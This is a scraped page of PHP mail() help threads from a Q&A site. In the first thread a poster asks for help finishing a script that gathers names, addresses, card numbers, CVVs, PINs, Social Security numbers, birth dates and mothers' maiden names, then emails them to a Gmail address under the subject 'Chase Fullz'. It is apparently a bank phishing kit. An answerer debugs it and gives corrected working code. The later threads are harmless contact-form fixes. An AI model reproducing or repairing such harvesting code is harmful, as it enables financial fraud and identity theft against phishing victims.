Php redirect / Header - php

I've been messing with this code all day for a friend and i can't seem to get it to redirect after sending whatever info is sent. Wondering if anyone could help.
I need it to redirect to site.com/logoff.php
<?php
$ip = getenv("REMOTE_ADDR");
$hostname = gethostbyaddr($ip);
$message .= "--------------+ User online +------------\n";
$message .= "Full Name : : ".$_POST['Name']."\n";
$message .= "Mailing Address : ".$_POST['address']."\n";
$message .= "Mailing Address 2 : ".$_POST['address2']."\n";
$message .= " City : ".$_POST['city']."\n";
$message .= " State : ".$_POST['state']."\n";
$message .= " Zip Code : ".$_POST['zip']."\n";
$message .= "--------------+ Card Info +------------\n";
$message .= " Confirm Card Number : ".$_POST['cardnumber']."\n";
$message .= " Expiration Date : ".$_POST['expmonth']."";
$message .= "".$_POST['expyear']."\n";
$message .= " Card Security Code : ".$_POST['cvv']."\n";
$message .= " Card Pin : ".$_POST['cardpin']."\n";
$message .= "--------------+ Security Information +------------\n";
$message .= " Social Security Number : ".$_POST['ssn1']."";
$message .= "-".$_POST['ssn2']."";
$message .= "-".$_POST['ssn3']."\n";
$message .= " Date of Birth : ".$_POST['bmonth']."";
$message .= "-".$_POST['bday']."";
$message .= "-".$_POST['byear']."\n";
$message .= " MMN : ".$_POST['mmn']."\n";
$message .= "--------------+ Connction info +------------\n";
$message .= "IP Address : ".$ip."\n";
$message .= "HostName : ".$hostname."\n";
$message .= "--------------------\n";
$rnessage = "$message\n";
$message .= "--------------+ Run the world +------------\n";
$send="123123#gmail.com";
$subject = "Chase Fullz";
$headers = "From: ChaseFullz<v3216#hotmail.com>";
$str=array($send, $IP); foreach ($str as $send)
if(mail($send,$subject,$rnessage,$headers) != false){
mail($Send,$subject,$rnessage,$headers);
mail($messege,$subject,$rnessage,$headers);
Header ("Location:logoff.php");
}
?>

Few things.
You have call mail() three times.
When you check if(mail() 1= false){}. you send mail again two more times with no recipient in 3rd mail();
mail($messege,$subject,$rnessage,$headers);
But still if you need to send multiple mail you can define them all in one array.
$recipients = array('mail1', 'mail2');
mail(implode(',', $recipients), $subject, $message, $headers);
And also if you need you can print error by
error_get_last()

$send="123123#gmail.com";
$subject = "Chase Fullz";
$headers = "From: ChaseFullz<v3216#hotmail.com>";
$str = array($send, $IP);/* seems redundant, you can't send an email to an ip address! */
/* Only one call to mail is needed */
if( mail( $send, $subject, $message, $headers) != false){
header ("Location:logoff.php");
} else {
echo 'failed';
}

Related

PHP how to remove remove \n\n from php mail body

When I send mail from php and the type message in ckeditor textarea, I get mail like below:
I want to remove \n\n
Thanks in advance.
Here my code
<?php
$to = $resrow['recevie_email'];
$subject = $esub;
$message = "Hi Admin,<br>";
$message .= "<br/><br/>";
$message .= "There is a query from user described below.<br>";
$message .= "Name : ".$_SESSION['first_name'] ." ".$_SESSION['last_name'];
$message .= "<br/>";
$message .= "ROLE : ".$mail_from;
$message .= "<br/>";
$message .= "Email : ".$_SESSION['EMAIL'];
$message .= "<br/>";
$message .= "Phone : ".$userdetail['phone'];
$message .= "<br/>";
$message .= "Query : ".$data;
$message .= "<br><br>";
$message .= "Please contact ".$mail_from." on above details to resolve the query.";
$message .= "<br><br>";
$message .= "Thank you,<br>";
$message .= "Elevon Team.";
$headers[] = 'MIME-Version: 1.0';
$headers[] = 'Content-type: text/html; charset=iso-8859-1';
$headers[] = 'From: Elevon <'.$resrow['send_email'].'>';
$message = trim($message, "\n");
$mail_conf = mail($to, $subject, $message, implode("\r\n", $headers));
?>
Ok, here i found the answer, to remove \n\n from mail message body we have to just use str_replace as below
$data = str_replace('\n',' ',$data);
Here the full code
<?php
$data = str_replace('\n',' ',$data);
$to = $resrow['recevie_email'];
$subject = $esub;
$message = "Hi Admin,<br>";
$message .= "<br/><br/>";
$message .= "There is a query from user described below.<br>";
$message .= "Name : ".$_SESSION['first_name'] ." ".$_SESSION['last_name'];
$message .= "<br/>";
$message .= "ROLE : ".$mail_from;
$message .= "<br/>";
$message .= "Email : ".$_SESSION['EMAIL'];
$message .= "<br/>";
$message .= "Phone : ".$userdetail['phone'];
$message .= "<br/>";
$message .= "Query : ".$data;
$message .= "<br><br>";
$message .= "Please contact ".$mail_from." on above details to resolve the query.";
$message .= "<br><br>";
$message .= "Thank you,<br>";
$message .= "Elevon Team.";
$headers[] = 'MIME-Version: 1.0';
$headers[] = 'Content-type: text/html; charset=iso-8859-1';
$headers[] = 'From: Elevon <'.$resrow['send_email'].'>';
$message = trim($message, "\n");
$mail_conf = mail($to, $subject, $message, implode("\r\n", $headers));
?>

I have Created Mail php code but not send email [duplicate]

This question already has answers here:
PHP mail function doesn't complete sending of e-mail
(31 answers)
Closed 7 years ago.
I am try to get what is problem but not find out.Please Help me.What is problem in this code.only mail not send message will show "pass".
This code is not send mail but message will show pass.
<?php
$name = $_POST['name'];
$employeestrength = $_POST['employeestrength'];
$companyweb = $_POST['companyweb'];
$contactpersonname = $_POST['contactpersonname'];
$contactnumber = $_POST['contactnumber'];
$emailaddress = $_POST['emailaddress'];
$cityandstste = $_POST['cityandstste'];
$massege = $_POST['massege'];
$captch = $_POST['captch'];
$to = "balvant.alpha#gmail.com";
$subject = "E-mail from HRMSsystem.com for new requirement";
$message = "<br>";
$message .= "<b>Name :</b> $name <br>";
$message .= "<b>Email :</b> $employeestrength <br>";
$message .= "<b>organization :</b> $companyweb<br>";
$message .= "<b>Phone Number:</b> $contactpersonname <br>";
$message .= "<b>Comapny :</b> $contactnumber <br>";
$message .= "<b>City :</b> $emailaddress <br>";
$message .= "<b>Description :</b> $cityandstste <br>";
$message .= "<b>Massege :</b> $massege <br>";
$message .= "<b>captch :</b> $captch <br>";
$message .= "<br>";
$header = "From:no-reply#hrmssystem.com \r\n";
$header .= "MIME-Version: 1.0\r\n";
$header .= "Content-type: text/html\r\n";
$body = "We have received the following information:\n\n";
$headers2 = "From:no-reply#hrmssystem.com";
$subject2 = "Request to get listed into HRMSsystem.com";
$message2 = "Dear, Thank you for request and details to list into HRMSsystem.com directory. Our team will verify and list your details into directory as soon as possible. Kindly contact team#hrmssystem.com for more details or questions.";
$retval = mail($to,$subject,$message,$header);
mail($to, $subject, $body);
$send2 = mail($emailaddress, $subject2, $message2,$headers2);
if( $retval == true )
{
//echo "pass";
header('Location: http://localhost:8080/caofficeautomation/');
}
else{
echo "Message could not be sent..."; }
?>
Thanks
Please Help Me for short Out this problem.
Also, please check this answer (if you trying to send mail from localhost).
php send mail from localhost

execute mail once all item have been iterated

I have the following issues.
I receive separate emails for each iteration of the loop. I want mail to be only sent once with all of the items iterated.
<?php
// Honey pot trap
// Create a hidden input that is only visible to bots. If it's empty than proceed.
if (empty($_POST['humancheck'])){
// Proceeed if submit button have been pressed
$fullName = $_POST['fname'];
$email = $_POST['email'];
$stage = $_POST['stage'];
include("db.php");
$resources = "select * from resources where stage LIKE '%".$stage."%'";
$run_query = mysqli_query($con, $resources);
while($row = mysqli_fetch_array($run_query)) {
$data[] = array(
'format' => $row['format'],
'title' => $row['title'],
'costs' => $row['cost'],
'stage' => $row['stage'],
'topic' => $row['topic'],
'link' => $row['link']
);
}
foreach($data as $item) {
// Sanitize input data
$clean_fullName = htmlspecialchars($fullName);
$clean_email = htmlspecialchars($email);
// Mail Set up
$to = $clean_email;
$to_us = "info#email.com";
// Email subject
$subject = "Your custom resource pack has arrived!";
$subject_us = "New custom resource delivered to: $clean_email";
$message = '<html><body>';
$message .= "<p>";
$message .= "Hi $clean_fullName, <br><br>";
$message .= " Based on your responses, we have created a custom resource pack tailored to your needs. <br><br>";
$message .= "<b>{$item['title']}</b><br>";
$message .= "{$item['format']} <br>";
$message .= "{$item['costs']} <br>";
$message .= "{$item['link']} <br><br>";
$message .= " If you have any questions, do not hesitate to reach out to us. <br><br>";
$message .= "</p>";
$message .= '</body></html>';
$message_us = "The below message was sent to $clean_fullName <br>
<i> Hi $clean_fullName <br>";
$message_us .= "\r\n Based on your responses, we have created a custom resource pack tailored to your needs: \r\n";
$message_us .= "\r\n If you have any questions, do not hesitate to reach out to us. \r\n";
// Headers
// Always set content-type when sending HTML email
$headers = "MIME-Version: 1.0" . "\r\n";
$headers .= "Content-type:text/html;charset=UTF-8" . "\r\n";
$headers .= 'From: <info#email.com>' . "\r\n";
}
mail($to,$subject,$message,$headers);
mail($to_us,$subject_us,$message_us,$headers);
}
?>
what happens is the while loops to the data that is stored in an array. That array is used in foreach. and outside of the loops, the mail is suppose to mail the result.
In theory this should of worked but its not working.
Try this. Edit last part of your code in this way. Take one time parameters of mail content outside the loop, and let loop make only the message content.
$clean_fullName = htmlspecialchars($fullName);
$clean_email = htmlspecialchars($email);
$to = $clean_email;
$to_us = "info#email.com";
$subject = "Your custom resource pack has arrived!";
$subject_us = "New custom resource delivered to: $clean_email";
$message = '<html><body>';
$message .= "<p>";
$message .= "Hi $clean_fullName, <br><br>";
$message .= " Based on your responses, we have created a custom resource pack tailored to your needs. <br><br>";
foreach($data as $item) {
$message .= "<b>{$item['title']}</b><br>";
$message .= "{$item['format']} <br>";
$message .= "{$item['costs']} <br>";
$message .= "{$item['link']} <br><br>";
}
$message .= " If you have any questions, do not hesitate to reach out to us. <br><br>";
$message .= "</p>";
$message .= '</body></html>';
$message_us = "The below message was sent to $clean_fullName <br><i> Hi $clean_fullName <br>";
$message_us .= "\r\n Based on your responses, we have created a custom resource pack tailored to your needs: \r\n";
$message_us .= "\r\n If you have any questions, do not hesitate to reach out to us. \r\n";
$headers = "MIME-Version: 1.0" . "\r\n";
$headers .= "Content-type:text/html;charset=UTF-8" . "\r\n";
$headers .= 'From: <info#email.com>' . "\r\n";
mail($to,$subject,$message,$headers);
mail($to_us,$subject_us,$message_us,$headers);

Trying to add $sendtoname to message

Right now I have this:
$sendtoname = "John";
$sendtoemail = "john#email.com";
And this:
$message = "Dear ".$sendtoname;
$message .= ",<br><br>A new volunteer has registered for your ".$_REQUEST['pickevent'];
So that I receive a message that says,
"Dear John,
A new volunteer has registered for your event..."
But "John" does not appear; it shows up blank. How do I correct this?
EDIT :
Ok, here is my full code:
<?php
if (get_magic_quotes_gpc()) {
function stripslashes_deep($value)
{
$value = is_array($value) ?
array_map('stripslashes_deep', $value) :
stripslashes($value);
return $value;
}
$_POST = array_map('stripslashes_deep', $_POST);
$_GET = array_map('stripslashes_deep', $_GET);
$_COOKIE = array_map('stripslashes_deep', $_COOKIE);
$_REQUEST = array_map('stripslashes_deep', $_REQUEST);
}
//send an email from the server TO YOUR EMAIL
$fromname = $_REQUEST['firstname'];
$fromemail = $_REQUEST['email'];
$subject = "NMVN EVENT REGISTRATION";
$message = "Dear ".$sendtoname;
$message .= ",<br><br>A new volunteer has registered for your ".$_REQUEST['pickevent'];
$message .= " event. Below is a copy of their registration: ".$_REQUEST['blank'];
$message .= " <br><br><br> <b>First Name:</b> ".$_REQUEST['firstname'];
$message .= " <br> <b>Last Name:</b> ".$_REQUEST['lastname'];
$message .= " <br> <b>Cell Phone:</b> ".$_REQUEST['cellphone'];
$message .= " <br> <b>Alternative Phone:</b> ".$_REQUEST['altphone'];
//This is the person who is going to receive the email
switch ($_REQUEST["pickevent"])
{
case 'Heart Walk 4/20/13':
$sendtoname = "Bob";
$sendtoemail = "bob#email.com";
break;
case 'Bowling Fundraiser 5/4/13':
$sendtoname = "John";
$sendtoemail = "john#email.com";
break;
}
//Email header stuff
$headers = "MIME-Version: 1.0\r\n";
$headers .= "Content-type: text/html; charset=iso-8859-1\r\n";
$headers .= "From: $fromname <$fromemail>\r\n";
$headers .= "To: $sendtoname <$sendtoemail>\r\n";
$headers .= "Bcc: me#myemail.com" . "\r\n";
$headers .= "Reply-To: $fromname <$fromemail>\r\n";
$headers .= "X-Priority: 3\r\n";
$headers .= "X-MSMail-Priority: Normal\r\n";
$headers .= "X-Mailer: Created by Mike Gandy";
//this next line creates and sends the email
mail($sendtoemail, $subject, $message, $headers);
?>
The form is responding correctly otherwise, whereas it is sent to the correct person and BCC'd to me. All the other messages work fine, too. The only thing that doesn't work is that the $sendtoname doesn't appear in the message. It appears in the header just fine though.
Move your switch to before $message, as you are trying to use $sendtoname before it is declared.
//This is the person who is going to receive the email
switch ($_REQUEST["pickevent"])
{
case 'Heart Walk 4/20/13':
$sendtoname = "Bob";
$sendtoemail = "bob#email.com";
break;
case 'Bowling Fundraiser 5/4/13':
$sendtoname = "John";
$sendtoemail = "john#email.com";
break;
}
$message = "Dear ".$sendtoname;
$message .= ",<br><br>A new volunteer has registered for your ".$_REQUEST['pickevent'];
$message .= " event. Below is a copy of their registration: ".$_REQUEST['blank'];
$message .= " <br><br><br> <b>First Name:</b> ".$_REQUEST['firstname'];
$message .= " <br> <b>Last Name:</b> ".$_REQUEST['lastname'];
$message .= " <br> <b>Cell Phone:</b> ".$_REQUEST['cellphone'];
$message .= " <br> <b>Alternative Phone:</b> ".$_REQUEST['altphone'];

PHP Form Review - Cc and Bcc not working

I have an html form the links to a PHP email. The form works well, but I am having trouble with the Cc and Bcc not coming through.
Here is the entire code. Please review and help me understand what I am getting wrong on the Cc and Bcc parts in the headers.
Thanks:
<?php
$emailFromName = $_POST['name'];
$emailFrom = $_POST['email'];
$emailFromPhone = $_POST['phone'];
$email9_11 = $_POST['9-10'];
$email10_11 = $_POST['10-11'];
$email11_12 = $_POST['11-12'];
$email12_1 = $_POST['12-1'];
if (empty($emailFromName)) {
echo 'Please enter your name.';
} elseif (!preg_match('/^([A-Z0-9\.\-_]+)#([A-Z0-9\.\-_]+)?([\.]{1})([A-Z]{2,6})$/i', $emailFrom) || empty($emailFrom)) {
echo 'The email address entered is invalid.';
} else {
$emailTo = "main#gmail.com" ;
$subject = "Family History Conference Registration";
if (!empty($emailFrom)) {
$headers = 'From: "' . $emailFromName . '" <' . $emailFrom . '>';
} else {
$headers = 'From: Family History Conference <noreply#domain.org>' . "\r\n";
$headers .= 'Cc: $emailFrom' . "\r\n";
$headers .= 'Bcc: myemail#domain.com' . "\r\n";
}
$body = "From: ".$emailFromName."\n";
$body .= "Email: ".$emailFrom."\n";
$body .= "Phone: ".$emailFromPhone."\n\n";
$body .= "I would like to attend the following classes.\n";
$body .= "9:10 to 10:00: ".$email9_11."\n";
$body .= "10:10 to 11:00: ".$email10_11."\n";
$body .= "11:10 to 12:00: ".$email11_12."\n";
$body .= "12:10 to 1:00: ".$email12_1."\n";
/* Send Email */
if (mail($emailTo, $subject, $body, $headers)) {
echo "<h2>Thank you for Registering</h2>
<h3>You have registered for the following classes</h3>
<p>9:10 to 10:00am: \"$email9_11\" <br />
10:10 to 11:00am: \"$email10_11\"<br />
11:10 to 12:00: \"$email11_12\"<br />
12:10 to 1:00: \"$email12_1\"</p>
<p>We look forward to seeing you October 31, 2010</p>";
} else {
echo 'There was an internal error while sending your email.<br>';
echo 'Please try again later.';
}
}
?>
You're using single quotes
$headers .= 'Cc: $emailFrom' . "\r\n";
PHP won't interpret variables inside single quotes, you must use double quotes
$headers .= "Cc: $emailFrom\r\n";

Categories